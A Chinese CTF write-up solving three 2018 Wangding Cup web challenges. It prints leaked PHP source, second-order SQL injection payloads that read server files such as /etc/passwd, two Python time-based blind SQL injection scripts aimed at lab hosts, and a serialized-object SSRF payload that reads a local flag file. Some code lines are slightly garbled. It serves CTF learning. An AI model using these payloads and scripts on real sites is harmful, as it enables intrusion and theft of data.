王鼎杯wdb_2018_web_unfinish
题目链接:https://www.xuenixiang.com/ctfexercise-competition-442.html0x01 Comment 扫目录,源码泄露
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
很明显的二次注入~~
comment模块中的$category 是直接从board中取出数据,没有过滤就直接放入sql语句中了~~
其中我们$category和$content都可控~~
坑 这道题目有个坑,大家需要注意一下
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
这个sql语句是换行的,所以我们无法用单行注释符,必须用/**/拼接~~
我们拼接的语句如下~~
$sql = "insert into comment
set category = '123',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
payload:
category : 123',content=(select( load_file('/etc/passwd'))),/*
留言内容为:*/#
我们学习一下师傅们的思路,首先我们先读取/etc/passwd,就可以得知www用户的目录。
然后读history文件:/home/www/.bash_history
[*]先在/tmp目录下解压压缩包
[*]然后删除压缩包
[*]再将html目录复制到/var/www/目录下
[*]切换到/var/www/html,然后删除.DS_Store
[*]但是并没有删除/tmp/html 目录下的,所以我们可以读取此文件~~
payload: 123', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
这儿由于文件太大,不能完全显示,所以我们用十六进制编码,然后找个网站解码就行了~~
发现文件名flag_8946e1ff1ee3e40f.php
payload:123', content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
0x02 Unfinish 题目如下
发现就一个登陆页面,于是尝试探测是否存在 register.php 注册页面。发现存在,立即注册登陆,并查看。
登陆的时候用到的是邮箱和密码,而注册的时候还有一个用户名,而这个用户名却在登陆后显示了,所以我们考虑用户名这里可能存在 二次注入 。
这儿直接贴出exp:
#encoding=utf-8
import requests
import json
import time
url = "http://5f3c0c6d-bc99-490e-8db2-f079bfb932dd.node3.buuoj.cn/register.php"
database = ""
hex_database = ""
i = -1
while i > -10:
for j in range(30,148):
j = chr(j)
k = j.encode('hex')
username = "'^(casehex(mid((select * from flag limit 1 offset 0) from "+str(i)+")) when '"+k+hex_database+"' then sleep(3) else 'b' end)+'0"
#username = "'^(case hex(mid(database() from -1)) when 65then 1 else abs(-9223372036854775808) end)-- -"
# mid(database() from -1) 输出最后一位 mid(database() from -2) 输出最后两位,不同 用to, 过滤掉ascii时,也可以使用hex
print username
data = { #这儿是特殊情况,需要使用json.dumps
"username":username,
"password":"1",
"email":"222@qq.com"
}
#print username
#data = json.dumps(data)
st= time.time()
r = requests.post(url,data=data,timeout=100)
#print r.text
#print r.text
if time.time()-st>2:
#print(j)
database = j + database #这儿的j是字母
hex_database = k + hex_database #这儿的k是字母对应的hex
print database
break
i = i - 1
我才用的是hex 时间盲注,由于题目中过滤了逗号,而且我们注入的字段在第二个字段,总共三个,所以只好拼接字符串~~
0x03 Fakebook 先扫目录,user.php源码泄露
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)(+\.)+{2,6}(\:+)?(\/\S*)?$/i", $blog);
}
}
我们继续往后看~~
我们在view.php发现注入点~~
直接dump下来~~
exp:
# encoding:utf-8
import hashlib
import requests
import re
import time
import string
characters = string.ascii_letters + string.digits
max_length = 200
target = 'http://7f43730c-17ff-4264-bafe-d711fce0499c.node3.buuoj.cn/view.php?no='
cur_database = "-1/**/union/**/select 1,/**/(case/**/when/**/(mid((select/**/group_concat(schema_name/**/separator'@')/**/from/**/information_schema/**/./**/schemata)/**/from/**/{0}/**/for/**/1)='{1}')/**/then/**/sleep(4)/**/else/**/1/**/end),3,4-- -"
def get(payload):
flag = ''
for i in range(1, max_length):
next_position = False
for char in characters+"_{}#-%();:":
payload_ = payload.format(str(i), char)
print("payload为:%s"%payload_)
try:
r = requests.get(target+payload_, timeout=3)
r.encoding = 'utf-8'
#print("响应为:%s"%r.text)
time.sleep(0.1)
except requests.exceptions.ReadTimeout:
flag += char
print(flag)
next_position = True
break
if not next_position:
return flag
# 指定数据库,获取其下全部表名
def get_table(database):
for i in range(0,5):
print("正在查询数据库" + database + "中的表")
payload = "-1 union/**/select 1, (case when (substring((" \
"select table_name from information_schema.tables where table_schema='"+ database + "' limit 1 offset "+ str(i) +") " \
"from {0} for 1)='{1}') " \
"then sleep(4) else 1 end),3,4-- -"
table = get(payload)
print( "数据库" + database + "的第"+ str(i+1) +"个表"+table)
get_col(table)
if not table:
print('数据库'+database+'中的表查询完毕')
break
# 查字段
def get_col(table):
columns = "";
for i in range(0, 5):
print("正在查询表" + table + "中的字段")
payload = "-1 union/**/select 1,( case when (substring((" \
"select column_name from information_schema.columns where table_name='"+ table +"' limit 1 offset "+ str(i) +") " \
"from {0} for 1)='{1}') " \
"then sleep(4) else 1 end),3,4-- -"
column = get(payload)
print("表" + table + "的第" + str(i+1) + "个字段为" + column )
# print(column)
columns+=column+' '
if not column:
print("表" + table + "中的字段查询完毕 "=columns)
break
# 作为单独的模块使用吧,获取字段详细信息
def result(column, table):
for i in range(0, 5):
payload = "-1'and (select case when (substring((select "+column+" from "+table+" limit 1 offset " + str(i)+ ") from {0} for 1)='{1}') " \
"then sleep(4) else 1 end) #"
print(get(payload))
if __name__ == "__main__":
#database1 = get(cur_database)
table1 = get_table('fakebook')
#result("password", "user")
我们发现data字段为一个序列化的内容,根据网站内容,我们大致可以知道,网站将我们的信息序列化存在数据库中,然后在view.php页面中再发序列化读取数据,而且有展示博客信息的功能,而我们的博客在注册是就序列化存在了数据库中~~
我们扫描目录的时候又有一个flag.php的页面,结合上面泄露的源码,我们知道php_curl可以访问本地文件~~
我们在尝试注入的时候页面报错,直接给了网站根目录的绝对地址~~
并且通过测试发现,数据库共有四个字段,blog在第四个字段,以序列化的方式存储~~
?no=0 union/**/select 1,(select data from users),2,3
那么我们构造序列化内容就行了~~
payload:/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
页:
[1]